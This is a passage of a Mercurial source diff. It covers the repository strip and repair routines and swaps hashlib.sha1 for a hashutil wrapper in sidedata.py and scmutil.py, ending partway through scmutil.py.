         obsmarkers = obsutil.exclusivemarkers(repo, stripbases)
     if obsmarkers:
         stripobsidx = [
             i for i, m in enumerate(repo.obsstore) if m in obsmarkers
         ]
 
     newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
 
     backupfile = None
     node = nodelist[-1]
     if backup:
         backupfile = _createstripbackup(repo, stripbases, node, topic)
     # create a changegroup for all the branches we need to keep
     tmpbundlefile = None
     if saveheads:
         # do not compress temporary bundle if we remove it from disk later
         #
         # We do not include obsolescence, it might re-introduce prune markers
         # we are trying to strip.  This is harmless since the stripped markers
         # are already backed up and we did not touched the markers for the
         # saved changesets.
         tmpbundlefile = backupbundle(
             repo,
             savebases,
             saveheads,
             node,
             b'temp',
             compress=False,
             obsolescence=False,
         )
 
     with ui.uninterruptible():
         try:
             with repo.transaction(b"strip") as tr:
                 # TODO this code violates the interface abstraction of the
                 # transaction and makes assumptions that file storage is
                 # using append-only files. We'll need some kind of storage
                 # API to handle stripping for us.
                 offset = len(tr._entries)
 
                 tr.startgroup()
                 cl.strip(striprev, tr)
                 stripmanifest(repo, striprev, tr, files)
 
                 for fn in files:
                     repo.file(fn).strip(striprev, tr)
                 tr.endgroup()
 
                 for i in pycompat.xrange(offset, len(tr._entries)):
                     file, troffset, ignore = tr._entries[i]
                     with repo.svfs(file, b'a', checkambig=True) as fp:
                         fp.truncate(troffset)
                     if troffset == 0:
                         repo.store.markremoved(file)
 
                 deleteobsmarkers(repo.obsstore, stripobsidx)
                 del repo.obsstore
                 repo.invalidatevolatilesets()
                 repo._phasecache.filterunknown(repo)
 
             if tmpbundlefile:
                 ui.note(_(b"adding branch\n"))
                 f = vfs.open(tmpbundlefile, b"rb")
                 gen = exchange.readbundle(ui, f, tmpbundlefile, vfs)
                 if not repo.ui.verbose:
                     # silence internal shuffling chatter
                     repo.ui.pushbuffer()
                 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
                 txnname = b'strip'
                 if not isinstance(gen, bundle2.unbundle20):
                     txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
                 with repo.transaction(txnname) as tr:
                     bundle2.applybundle(
                         repo, gen, tr, source=b'strip', url=tmpbundleurl
                     )
                 if not repo.ui.verbose:
                     repo.ui.popbuffer()
                 f.close()
 
             with repo.transaction(b'repair') as tr:
                 bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
                 repo._bookmarks.applychanges(repo, tr, bmchanges)
 
             # remove undo files
             for undovfs, undofile in repo.undofiles():
                 try:
                     undovfs.unlink(undofile)
                 except OSError as e:
                     if e.errno != errno.ENOENT:
                         ui.warn(
                             _(b'error removing %s: %s\n')
                             % (
                                 undovfs.join(undofile),
                                 stringutil.forcebytestr(e),
                             )
                         )
 
         except:  # re-raises
             if backupfile:
                 ui.warn(
                     _(b"strip failed, backup bundle stored in '%s'\n")
                     % vfs.join(backupfile)
                 )
             if tmpbundlefile:
                 ui.warn(
                     _(b"strip failed, unrecovered changes stored in '%s'\n")
                     % vfs.join(tmpbundlefile)
                 )
                 ui.warn(
                     _(
                         b"(fix the problem, then recover the changesets with "
                         b"\"hg unbundle '%s'\")\n"
                     )
                     % vfs.join(tmpbundlefile)
                 )
             raise
         else:
             if tmpbundlefile:
                 # Remove temporary bundle only if there were no exceptions
                 vfs.unlink(tmpbundlefile)
 
     repo.destroyed()
     # return the backup file path (or None if 'backup' was False) so
     # extensions can use it
     return backupfile
 
 
 def softstrip(ui, repo, nodelist, backup=True, topic=b'backup'):
     """perform a "soft" strip using the archived phase"""
     tostrip = [c.node() for c in repo.set(b'sort(%ln::)', nodelist)]
     if not tostrip:
         return None
 
     newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
     if backup:
         node = tostrip[0]
         backupfile = _createstripbackup(repo, tostrip, node, topic)
 
     with repo.transaction(b'strip') as tr:
         phases.retractboundary(repo, tr, phases.archived, tostrip)
         bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
         repo._bookmarks.applychanges(repo, tr, bmchanges)
     return backupfile
 
 
 def _bookmarkmovements(repo, tostrip):
     # compute necessary bookmark movement
     bm = repo._bookmarks
     updatebm = []
     for m in bm:
         rev = repo[bm[m]].rev()
         if rev in tostrip:
             updatebm.append(m)
     newbmtarget = None
     # If we need to move bookmarks, compute bookmark
     # targets. Otherwise we can skip doing this logic.
     if updatebm:
         # For a set s, max(parents(s) - s) is the same as max(heads(::s - s)),
         # but is much faster
         newbmtarget = repo.revs(b'max(parents(%ld) - (%ld))', tostrip, tostrip)
         if newbmtarget:
             newbmtarget = repo[newbmtarget.first()].node()
         else:
             newbmtarget = b'.'
     return newbmtarget, updatebm
 
 
 def _createstripbackup(repo, stripbases, node, topic):
     # backup the changeset we are about to strip
     vfs = repo.vfs
     cl = repo.changelog
     backupfile = backupbundle(repo, stripbases, cl.heads(), node, topic)
     repo.ui.status(_(b"saved backup bundle to %s\n") % vfs.join(backupfile))
     repo.ui.log(
         b"backupbundle", b"saved backup bundle to %s\n", vfs.join(backupfile)
     )
     return backupfile
 
 
 def safestriproots(ui, repo, nodes):
     """return list of roots of nodes where descendants are covered by nodes"""
     torev = repo.unfiltered().changelog.rev
     revs = set(torev(n) for n in nodes)
     # tostrip = wanted - unsafe = wanted - ancestors(orphaned)
     # orphaned = affected - wanted
     # affected = descendants(roots(wanted))
     # wanted = revs
     revset = b'%ld - ( ::( (roots(%ld):: and not _phase(%s)) -%ld) )'
     tostrip = set(repo.revs(revset, revs, revs, phases.internal, revs))
     notstrip = revs - tostrip
     if notstrip:
         nodestr = b', '.join(sorted(short(repo[n].node()) for n in notstrip))
         ui.warn(
             _(b'warning: orphaned descendants detected, not stripping %s\n')
             % nodestr
         )
     return [c.node() for c in repo.set(b'roots(%ld)', tostrip)]
 
 
 class stripcallback(object):
     """used as a transaction postclose callback"""
 
     def __init__(self, ui, repo, backup, topic):
         self.ui = ui
         self.repo = repo
         self.backup = backup
         self.topic = topic or b'backup'
         self.nodelist = []
 
     def addnodes(self, nodes):
         self.nodelist.extend(nodes)
 
     def __call__(self, tr):
         roots = safestriproots(self.ui, self.repo, self.nodelist)
         if roots:
             strip(self.ui, self.repo, roots, self.backup, self.topic)
 
 
 def delayedstrip(ui, repo, nodelist, topic=None, backup=True):
     """like strip, but works inside transaction and won't strip irreverent revs
 
     nodelist must explicitly contain all descendants. Otherwise a warning will
     be printed that some nodes are not stripped.
 
     Will do a backup if `backup` is True. The last non-None "topic" will be
     used as the backup topic name. The default backup topic name is "backup".
     """
     tr = repo.currenttransaction()
     if not tr:
         nodes = safestriproots(ui, repo, nodelist)
         return strip(ui, repo, nodes, backup=backup, topic=topic)
     # transaction postclose callbacks are called in alphabet order.
     # use '\xff' as prefix so we are likely to be called last.
     callback = tr.getpostclose(b'\xffstrip')
     if callback is None:
         callback = stripcallback(ui, repo, backup=backup, topic=topic)
         tr.addpostclose(b'\xffstrip', callback)
     if topic:
         callback.topic = topic
     callback.addnodes(nodelist)
 
 
 def stripmanifest(repo, striprev, tr, files):
     for revlog in manifestrevlogs(repo):
         revlog.strip(striprev, tr)
 
 
 def manifestrevlogs(repo):
     yield repo.manifestlog.getstorage(b'')
     if b'treemanifest' in repo.requirements:
         # This logic is safe if treemanifest isn't enabled, but also
         # pointless, so we skip it if treemanifest isn't enabled.
         for unencoded, encoded, size in repo.store.datafiles():
             if unencoded.startswith(b'meta/') and unencoded.endswith(
                 b'00manifest.i'
             ):
                 dir = unencoded[5:-12]
                 yield repo.manifestlog.getstorage(dir)
 
 
 def rebuildfncache(ui, repo):
     """Rebuilds the fncache file from repo history.
 
     Missing entries will be added. Extra entries will be removed.
     """
     repo = repo.unfiltered()
 
     if b'fncache' not in repo.requirements:
         ui.warn(
             _(
                 b'(not rebuilding fncache because repository does not '
                 b'support fncache)\n'
             )
         )
         return
 
     with repo.lock():
         fnc = repo.store.fncache
         fnc.ensureloaded(warn=ui.warn)
 
         oldentries = set(fnc.entries)
         newentries = set()
         seenfiles = set()
 
         progress = ui.makeprogress(
             _(b'rebuilding'), unit=_(b'changesets'), total=len(repo)
         )
         for rev in repo:
             progress.update(rev)
 
             ctx = repo[rev]
             for f in ctx.files():
                 # This is to minimize I/O.
                 if f in seenfiles:
                     continue
                 seenfiles.add(f)
 
                 i = b'data/%s.i' % f
                 d = b'data/%s.d' % f
 
                 if repo.store._exists(i):
                     newentries.add(i)
                 if repo.store._exists(d):
                     newentries.add(d)
 
         progress.complete()
 
         if b'treemanifest' in repo.requirements:
             # This logic is safe if treemanifest isn't enabled, but also
             # pointless, so we skip it if treemanifest isn't enabled.
             for dir in pathutil.dirs(seenfiles):
                 i = b'meta/%s/00manifest.i' % dir
                 d = b'meta/%s/00manifest.d' % dir
 
                 if repo.store._exists(i):
                     newentries.add(i)
                 if repo.store._exists(d):
                     newentries.add(d)
 
         addcount = len(newentries - oldentries)
         removecount = len(oldentries - newentries)
         for p in sorted(oldentries - newentries):
             ui.write(_(b'removing %s\n') % p)
         for p in sorted(newentries - oldentries):
             ui.write(_(b'adding %s\n') % p)
 
         if addcount or removecount:
             ui.write(
                 _(b'%d items added, %d removed from fncache\n')
                 % (addcount, removecount)
             )
             fnc.entries = newentries
             fnc._dirty = True
 
             with repo.transaction(b'fncache') as tr:
                 fnc.write(tr)
         else:
             ui.write(_(b'fncache already up to date\n'))
 
 
 def deleteobsmarkers(obsstore, indices):
     """Delete some obsmarkers from obsstore and return how many were deleted
 
     'indices' is a list of ints which are the indices
     of the markers to be deleted.
 
     Every invocation of this function completely rewrites the obsstore file,
     skipping the markers we want to be removed. The new temporary file is
     created, remaining markers are written there and on .close() this file
     gets atomically renamed to obsstore, thus guaranteeing consistency."""
     if not indices:
         # we don't want to rewrite the obsstore with the same content
         return
 
     left = []
     current = obsstore._all
     n = 0
     for i, m in enumerate(current):
         if i in indices:
             n += 1
             continue
         left.append(m)
 
     newobsstorefile = obsstore.svfs(b'obsstore', b'w', atomictemp=True)
     for bytes in obsolete.encodemarkers(left, True, obsstore._version):
         newobsstorefile.write(bytes)
     newobsstorefile.close()
     return n

mercurial/revlogutils/sidedata.py

@@ -1,106 +1,106
 # sidedata.py - Logic around store extra data alongside revlog revisions
 #
 # Copyright 2019 Pierre-Yves David <[e-mail])
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 """core code for "sidedata" support
 
 The "sidedata" are stored alongside the revision without actually being part of
 its content and not affecting its hash. It's main use cases is to cache
 important information related to a changesets.
 
 The current implementation is experimental and subject to changes. Do not rely
 on it in production.
 
 Sidedata are stored in the revlog itself, withing the revision rawtext. They
 are inserted, removed from it using the flagprocessors mechanism. The following
 format is currently used::
 
     initial header:
         <number of sidedata; 2 bytes>
     sidedata (repeated N times):
         <sidedata-key; 2 bytes>
         <sidedata-entry-length: 4 bytes>
         <sidedata-content-sha1-digest: 20 bytes>
         <sidedata-content; X bytes>
     normal raw text:
         <all bytes remaining in the rawtext>
 
 This is a simple and effective format. It should be enought to experiment with
 the concept.
 """
 
 from __future__ import absolute_import
 
-import hashlib
 import struct
 
 from .. import error
+from ..utils import hashutil
 
 ## sidedata type constant
 # reserve a block for testing purposes.
 SD_TEST1 = 1
 SD_TEST2 = 2
 SD_TEST3 = 3
 SD_TEST4 = 4
 SD_TEST5 = 5
 SD_TEST6 = 6
 SD_TEST7 = 7
 
 # key to store copies related information
 SD_P1COPIES = 8
 SD_P2COPIES = 9
 SD_FILESADDED = 10
 SD_FILESREMOVED = 11
 
 # internal format constant
 SIDEDATA_HEADER = struct.Struct('>H')
 SIDEDATA_ENTRY = struct.Struct('>HL20s')
 
 
 def sidedatawriteprocessor(rl, text, sidedata):
     sidedata = list(sidedata.items())
     sidedata.sort()
     rawtext = [SIDEDATA_HEADER.pack(len(sidedata))]
     for key, value in sidedata:
-        digest = hashlib.sha1(value).digest()
+        digest = hashutil.sha1(value).digest()
         rawtext.append(SIDEDATA_ENTRY.pack(key, len(value), digest))
     for key, value in sidedata:
         rawtext.append(value)
     rawtext.append(bytes(text))
     return b''.join(rawtext), False
 
 
 def sidedatareadprocessor(rl, text):
     sidedata = {}
     offset = 0
     (nbentry,) = SIDEDATA_HEADER.unpack(text[: SIDEDATA_HEADER.size])
     offset += SIDEDATA_HEADER.size
     dataoffset = SIDEDATA_HEADER.size + (SIDEDATA_ENTRY.size * nbentry)
     for i in range(nbentry):
         nextoffset = offset + SIDEDATA_ENTRY.size
         key, size, storeddigest = SIDEDATA_ENTRY.unpack(text[offset:nextoffset])
         offset = nextoffset
         # read the data associated with that entry
         nextdataoffset = dataoffset + size
         entrytext = text[dataoffset:nextdataoffset]
-        readdigest = hashlib.sha1(entrytext).digest()
+        readdigest = hashutil.sha1(entrytext).digest()
         if storeddigest != readdigest:
             raise error.SidedataHashError(key, storeddigest, readdigest)
         sidedata[key] = entrytext
         dataoffset = nextdataoffset
     text = text[dataoffset:]
     return text, True, sidedata
 
 
 def sidedatarawprocessor(rl, text):
     # side data modifies rawtext and prevent rawtext hash validation
     return False
 
 
 processors = (
     sidedatareadprocessor,
     sidedatawriteprocessor,
     sidedatarawprocessor,
 )

mercurial/scmutil.py

@@ -1,2200 +1,2200
 # scmutil.py - Mercurial core utility functions
 #
 #  Copyright Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import glob
-import hashlib
 import os
 import posixpath
 import re
 import subprocess
 import weakref
 
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
     nullrev,
     short,
     wdirid,
     wdirrev,
 )
 from .pycompat import getattr
 from .thirdparty import attr
 from . import (
     copies as copiesmod,
     encoding,
     error,
     match as matchmod,
     obsolete,
     obsutil,
     pathutil,
     phases,
     policy,
     pycompat,
     revsetlang,
     similar,
     smartset,
     url,
     util,
     vfs,
 )
 
 from .utils import (
+    hashutil,
     procutil,
     stringutil,
 )
 
 if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
 
 parsers = policy.importmod('parsers')
 rustrevlog = policy.importrust('revlog')
 
 termsize = scmplatform.termsize
 
 
 @attr.s(slots=True, repr=False)
 class status(object):
     '''Struct with a list of files per status.
 
     The 'deleted', 'unknown' and 'ignored' properties are only
     relevant to the working copy.
     '''
 
     modified = attr.ib(default=attr.Factory(list))
     added = attr.ib(default=attr.Factory(list))
     removed = attr.ib(default=attr.Factory(list))
     deleted = attr.ib(default=attr.Factory(list))
     unknown = attr.ib(default=attr.Factory(list))
     ignored = attr.ib(default=attr.Factory(list))
     clean = attr.ib(default=attr.Factory(list))
 
     def __iter__(self):
         yield self.modified
         yield self.added
         yield self.removed
         yield self.deleted
         yield self.unknown
         yield self.ignored
         yield self.clean
 
     def __repr__(self):
         return (
             r'<status modified=%s, added=%s, removed=%s, deleted=%s, '
             r'unknown=%s, ignored=%s, clean=%s>'
         ) % tuple(pycompat.sysstr(stringutil.pprint(v)) for v in self)
 
 
 def itersubrepos(ctx1, ctx2):
     """find subrepos in ctx1 or ctx2"""
     # Create a (subpath, ctx) mapping where we prefer subpaths from
     # ctx1. The subpaths from ctx2 are important when the .hgsub file
     # has been modified (in ctx2) but not yet committed (in ctx1).
     subpaths = dict.fromkeys(ctx2.substate, ctx2)
     subpaths.update(dict.fromkeys(ctx1.substate, ctx1))
 
     missing = set()
 
     for subpath in ctx2.substate:
         if subpath not in ctx1.substate:
             del subpaths[subpath]
             missing.add(subpath)
 
     for subpath, ctx in sorted(pycompat.iteritems(subpaths)):
         yield subpath, ctx.sub(subpath)
 
     # Yield an empty subrepo based on ctx1 for anything only in ctx2.  That way,
     # status and diff will have an accurate result when it does
     # 'sub.{status|diff}(rev2)'.  Otherwise, the ctx2 subrepo is compared
     # against itself.
     for subpath in missing:
         yield subpath, ctx2.nullsub(subpath, ctx1)
 
 
 def nochangesfound(ui, repo, excluded=None):
     '''Report no changes for push/pull, excluded is None or a list of
     nodes excluded from the push/pull.
     '''
     secretlist = []
     if excluded:
         for n in excluded:
             ctx = repo[n]
             if ctx.phase() >= phases.secret and not ctx.extinct():
                 secretlist.append(n)
 
     if secretlist:
         ui.status(
             _(b"no changes found (ignored %d secret changesets)\n")
             % len(secretlist)
         )
     else:
         ui.status(_(b"no changes found\n"))
 
 
 def callcatch(ui, func):
     """call func() with global exception handling
 
     return func() if no exception happens. otherwise do some error handling
     and return an exit code accordingly. does not handle all exceptions.
     """
     try:
         try:
             return func()
         except:  # re-raises
             ui.traceback()
             raise
     # Global exception handling, alphabetically
     # Mercurial-specific first, followed by built-in and library exceptions
     except error.LockHeld as inst:
         if inst.errno == errno.ETIMEDOUT:
             reason = _(b'timed out waiting for lock held by %r') % (
                 pycompat.bytestr(inst.locker)
             )
         else:
             reason = _(b'lock held by %r') % inst.locker
         ui.error(
             _(b"abort: %s: %s\n")
             % (inst.desc or stringutil.forcebytestr(inst.filename), reason)
         )
         if not inst.locker:
             ui.error(_(b"(lock might be very busy)\n"))
     except error.LockUnavailable as inst:
         ui.error(
             _(b"abort: could not lock %s: %s\n")
             % (
                 inst.desc or stringutil.forcebytestr(inst.filename),
                 encoding.strtolocal(inst.strerror),
             )
         )
     except error.OutOfBandError as inst:
         if inst.args:
             msg = _(b"abort: remote error:\n")
         else:
             msg = _(b"abort: remote error\n")
         ui.error(msg)
         if inst.args:
             ui.error(b''.join(inst.args))
         if inst.hint:
             ui.error(b'(%s)\n' % inst.hint)
     except error.RepoError as inst:
         ui.error(_(b"abort: %s!\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except error.ResponseError as inst:
         ui.error(_(b"abort: %s") % inst.args[0])
         msg = inst.args[1]
         if isinstance(msg, type(u'')):
             msg = pycompat.sysbytes(msg)
         if not isinstance(msg, bytes):
             ui.error(b" %r\n" % (msg,))
         elif not msg:
             ui.error(_(b" empty string\n"))
         else:
             ui.error(b"\n%r\n" % pycompat.bytestr(stringutil.ellipsis(msg)))
     except error.CensoredNodeError as inst:
         ui.error(_(b"abort: file censored %s!\n") % inst)
     except error.StorageError as inst:
         ui.error(_(b"abort: %s!\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except error.InterventionRequired as inst:
         ui.error(b"%s\n" % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
         return 1
     except error.WdirUnsupported:
         ui.error(_(b"abort: working directory revision cannot be specified\n"))
     except error.Abort as inst:
         ui.error(_(b"abort: %s\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except ImportError as inst:
         ui.error(_(b"abort: %s!\n") % stringutil.forcebytestr(inst))
         m = stringutil.forcebytestr(inst).split()[-1]
         if m in b"mpatch bdiff".split():
             ui.error(_(b"(did you forget to compile extensions?)\n"))
         elif m in b"zlib".split():
             ui.error(_(b"(is your Python install correct?)\n"))
     except (IOError, OSError) as inst:
         if util.safehasattr(inst, b"code"):  # HTTPError
             ui.error(_(b"abort: %s\n") % stringutil.forcebytestr(inst))
         elif util.safehasattr(inst, b"reason"):  # URLError or SSLError
             try:  # usually it is in the form (errno, strerror)
                 reason = inst.reason.args[1]
             except (AttributeError, IndexError):
                 # it might be anything, for example a string
                 reason = inst.reason
             if isinstance(reason, pycompat.unicode):
                 # SSLError of Python 2.7.9 contains a unicode
                 reason = encoding.unitolocal(reason)
             ui.error(_(b"abort: error: %s\n") % stringutil.forcebytestr(reason))
         elif (
             util.safehasattr(inst, b"args")
             and inst.args
             and inst.args[0] == errno.EPIPE
         ):
             pass
         elif getattr(inst, "strerror", None):  # common IOError or OSError
             if getattr(inst, "filename", None) is not None:
                 ui.error(
                     _(b"abort: %s: '%s'\n")
                     % (
                         encoding.strtolocal(inst.strerror),
                         stringutil.forcebytestr(inst.filename),
                     )
                 )
             else:
                 ui.error(_(b"abort: %s\n") % encoding.strtolocal(inst.strerror))
         else:  # suspicious IOError
             raise
     except MemoryError:
         ui.error(_(b"abort: out of memory\n"))
     except SystemExit as inst:
         # Commands shouldn't sys.exit directly, but give a return code.
         # Just in case catch this and and pass exit code to caller.
         return inst.code
 
     return -1
 
 
 def checknewlabel(repo, lbl, kind):
     # Do not use the "kind" parameter in ui output.
     # It makes strings difficult to translate.
     if lbl in [b'tip', b'.', b'null']:
         raise error.Abort(_(b"the name '%s' is reserved") % lbl)
     for c in (b':', b'\0', b'\n', b'\r'):
         if c in lbl:
             raise error.Abort(
                 _(b"%r cannot be used in a name") % pycompat.bytestr(c)
             )
     try:
         int(lbl)
         raise error.Abort(_(b"cannot use an integer as a name"))
     except ValueError:
         pass
     if lbl.strip() != lbl:
         raise error.Abort(_(b"leading or trailing whitespace in name %r") % lbl)
 
 
 def checkfilename(f):
     '''Check that the filename f is an acceptable filename for a tracked file'''
     if b'\r' in f or b'\n' in f:
         raise error.Abort(
             _(b"'\\n' and '\\r' disallowed in filenames: %r")
             % pycompat.bytestr(f)
         )
 
 
 def checkportable(ui, f):
     '''Check if filename f is portable and warn or abort depending on config'''
     checkfilename(f)
     abort, warn = checkportabilityalert(ui)
     if abort or warn:
         msg = util.checkwinfilename(f)
         if msg:
             msg = b"%s: %s" % (msg, procutil.shellquote(f))
             if abort:
                 raise error.Abort(msg)
             ui.warn(_(b"warning: %s\n") % msg)
 
 
 def checkportabilityalert(ui):
     '''check if the user's config requests nothing, a warning, or abort for
     non-portable filenames'''
     val = ui.config(b'ui', b'portablefilenames')
     lval = val.lower()
     bval = stringutil.parsebool(val)
     abort = pycompat.iswindows or lval == b'abort'
     warn = bval or lval == b'warn'
     if bval is None and not (warn or abort or lval == b'ignore'):
         raise error.ConfigError(
             _(b"ui.portablefilenames value is invalid ('%s')") % val
         )
     return abort, warn
 
 
 class casecollisionauditor(object):
     def __init__(self, ui, abort, dirstate):
         self._ui = ui
         self._abort = abort
         allfiles = b'\0'.join(dirstate)
         self._loweredfiles = set(encoding.lower(allfiles).split(b'\0'))
         self._dirstate = dirstate
         # The purpose of _newfiles is so that we don't complain about
         # case collisions if someone were to call this object with the
         # same filename twice.
         self._newfiles = set()
 
     def __call__(self, f):
         if f in self._newfiles:
             return
         fl = encoding.lower(f)
         if fl in self._loweredfiles and f not in self._dirstate:
             msg = _(b'possible case-folding collision for %s') % f
             if self._abort:
                 raise error.Abort(msg)
             self._ui.warn(_(b"warning: %s\n") % msg)
         self._loweredfiles.add(fl)
         self._newfiles.add(f)
 
 
 def filteredhash(repo, maxrev):
     """build hash of filtered revisions in the current repoview.
 
     Multiple caches perform up-to-date validation by checking that the
     tiprev and tipnode stored in the cache file match the current repository.
     However, this is not sufficient for validating repoviews because the set
     of revisions in the view may change without the repository tiprev and
     tipnode changing.
 
     This function hashes all the revs filtered from the view and returns
     that SHA-1 digest.
     """
     cl = repo.changelog
     if not cl.filteredrevs:
         return None
     key = None
     revs = sorted(r for r in cl.filteredrevs if r <= maxrev)
     if revs:
-        s = hashlib.sha1()
+        s = hashutil.sha1()
         for rev in revs:
             s.update(b'%d;' % rev)
         key = s.digest()
     return key
 
 
 def walkrepos(path, followsym=False, seen_dirs=None, recurse=False):
     '''yield every hg repository under path, always recursively.
     The recurse flag will only control recursion into repo working dirs'''
 
     def errhandler(err):
         if err.filename == path:
             raise err
 
     samestat = getattr(os.path, 'samestat', None)
     if followsym and samestat is not None:
 
         def adddir(dirlst, dirname):
             dirstat = os.stat(dirname)
             match = any(samestat(dirstat, lstdirstat) for lstdirstat in dirlst)
             if not match:
                 dirlst.append(dirstat)
             return not match
 
     else:
         followsym = False
 
     if (seen_dirs is None) and followsym:
         seen_dirs = []
         adddir(seen_dirs, path)
     for root, dirs, files in os.walk(path, topdown=True, onerror=errhandler):
         dirs.sort()
         if b'.hg' in dirs:
             yield root  # found a repository
             qroot = os.path.join(root, b'.hg', b'patches')
             if os.path.isdir(os.path.join(qroot, b'.hg')):
                 yield qroot  # we have a patch queue repo here
             if recurse:
                 # avoid recursing inside the .hg directory
                 dirs.remove(b'.hg')
             else:
                 dirs[:] = []  # don't descend further
         elif followsym:
             newdirs = []
             for d in dirs:
                 fname = os.path.join(root, d)
                 if adddir(seen_dirs, fname):
                     if os.path.islink(fname):
                         for hgname in walkrepos(fname, True, seen_dirs):
                             yield hgname
                     else:
                         newdirs.append(d)
             dirs[:] = newdirs
 
 
 def binnode(ctx):
     """Return binary node id for a given basectx"""
     node = ctx.node()
     if node is None:
         return wdirid
     return node
 
 
 def intrev(ctx):
     """Return integer for a given basectx that can be used in comparison or
     arithmetic operation"""
     rev = ctx.rev()
     if rev is None:
         return wdirrev
     return rev
 
 
 def formatchangeid(ctx):
     """Format changectx as '{rev}:{node|formatnode}', which is the default
     template provided by logcmdutil.changesettemplater"""
     repo = ctx.repo()
     return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
 
 
 def formatrevnode(ui, rev, node):
     """Format given revision and node depending on the current verbosity"""
     if ui.debugflag:
         hexfunc = hex
     else:
         hexfunc = short
     return b'%d:%s' % (rev, hexfunc(node))
 
 
 def resolvehexnodeidprefix(repo, prefix):
     if prefix.startswith(b'x') and repo.ui.configbool(
         b'experimental', b'revisions.prefixhexnode'
     ):
         prefix = prefix[1:]
     try:
         # Uses unfiltered repo because it's faster when prefix is ambiguous/
         # This matches the shortesthexnodeidprefix() function below.
         node = repo.unfiltered().changelog._partialmatch(prefix)
     except error.AmbiguousPrefixLookupError:
         revset = repo.ui.config(
             b'experimental', b'revisions.disambiguatewithin'
         )
         if revset:
             # Clear config to avoid infinite recursion
             configoverrides = {
                 (b'experimental', b'revisions.disambiguatewithin'): None
             }
             with repo.ui.configoverride(configoverrides):
                 revs = repo.anyrevs([revset], user=True)
                 matches = []
                 for rev in revs:
                     node = repo.changelog.node(rev)
                     if hex(node).startswith(prefix):
                         matches.append(node)
                 if len(matches) == 1:
                     return matches[0]
         raise
     if node is None:
         return
     repo.changelog.rev(node)  # make sure node isn't filtered
     return node
 
 
 def mayberevnum(repo, prefix):
     """Checks if the given prefix may be mistaken for a revision number"""
     try:
         i = int(prefix)
         # if we are a pure int, then starting with zero will not be
         # confused as a rev; or, obviously, if the int is larger
         # than the value of the tip rev. We still need to disambiguate if
         # prefix == '0', since that *is* a valid revnum.
         if (prefix != b'0' and prefix[0:1] == b'0') or i >= len(repo):
             return False
         return True
     except ValueError:
         return False
 
 
 def shortesthexnodeidprefix(repo, node, minlength=1, cache=None):
     """Find the shortest unambiguous prefix that matches hexnode.
 
     If "cache" is not None, it must be a dictionary that can be used for
     caching between calls to this method.
     """
     # _partialmatch() of filtered changelog could take O(len(repo)) time,
     # which would be unacceptably slow. so we look for hash collision in
     # unfiltered space, which means some hashes may be slightly longer.
 
     minlength = max(minlength, 1)
 
     def disambiguate(prefix):
         """Disambiguate against revnums."""
         if repo.ui.configbool(b'experimental', b'revisions.prefixhexnode'):
             if mayberevnum(repo, prefix):
                 return b'x' + prefix
             else:
                 return prefix
 
         hexnode = hex(node)
         for length in range(len(prefix), len(hexnode) + 1):
             prefix = hexnode[:length]
             if not mayberevnum(repo, prefix):
                 return prefix
 
     cl = repo.unfiltered().changelog
     revset = repo.ui.config(b'experimental', b'revisions.disambiguatewithin')
     if revset:
         revs = None
         if cache is not None:
             revs = cache.get(b'disambiguationrevset')
         if revs is None:
             revs = repo.anyrevs([revset], user=True)
             if cache is not None:
                 cache[b'disambiguationrevset'] = revs
         if cl.rev(node) in revs:
             hexnode = hex(node)
             nodetree = None
             if cache is not None:
                 nodetree = cache.get(b'disambiguationnodetree')
             if not nodetree:
                 if util.safehasattr(parsers, 'nodetree'):
                     # The CExt is the only implementation to provide a nodetree
                     # class so far.
                     index = cl.index
                     if util.safehasattr(index, 'get_cindex'):
                         # the rust wrapped need to give access to its internal index
                         index = index.get_cindex()
                     nodetree = parsers.nodetree(index, len(revs))
                     for r in revs:
                         nodetree.insert(r)
                     if cache is not None:
                         cache[b'disambiguationnodetree'] = nodetree
             if nodetree is not None:
                 length = max(nodetree.shortest(node), minlength)
                 prefix = hexnode[:length]
                 return disambiguate(prefix)
             for length in range(minlength, len(hexnode) + 1):
                 matches = []
                 prefix = hexnode[:length]
                 for rev in revs:
                     otherhexnode = repo[rev].hex()
                     if prefix == otherhexnode[:length]:
                         matches.append(otherhexnode)
                 if len(matches) == 1:
                     return disambiguate(prefix)
 
     try:
         return disambiguate(cl.shortest(node, minlength))
     except error.LookupError:
         raise error.RepoLookupError()
 
 
 def isrevsymbol(repo, symbol):
     """Checks if a symbol exists in the repo.
 
     See revsymbol() for details. Raises error.AmbiguousPrefixLookupError if the
     symbol is an ambiguous nodeid prefix.
     """
     try:
         revsymbol(repo, symbol)
         return True
     except error.RepoLookupError:
         return False
 
 
 def revsymbol(repo, symbol):
     """Returns a context given a single revision symbol (as string).
 
     This is similar to revsingle(), but accepts only a single revision symbol,
     i.e. things like ".", "tip", "1234", "deadbeef", "my-bookmark" work, but
     not "max(public())".
     """
     if not isinstance(symbol, bytes):
         msg = (
             b"symbol (%s of type %s) was not a string, did you mean "
             b"repo[symbol]?" % (symbol, type(symbol))
         )
         raise error.ProgrammingError(msg)
     try:
         if symbol in (b'.', b'tip', b'null'):
             return repo[symbol]
 
         try:
             r = int(symbol)
             if b'%d' % r != symbol:
                 raise ValueError
             l = len(repo.changelog)
             if r < 0:
                 r += l
             if r < 0 or r >= l and r != wdirrev:
                 raise ValueError
             return repo[r]
         except error.FilteredIndexError:
             raise
         except (ValueError, OverflowError, IndexError):
             pass
 
         if len(symbol) == 40:
             try:
                 node = bin(symbol)
                 rev = repo.changelog.rev(node)
                 return repo[rev]
             except error.FilteredLookupError:
                 raise
             except (TypeError, LookupError):
                 pass
 
         # look up bookmarks through the name interface
         try:
             node = repo.names.singlenode(repo, symbol)
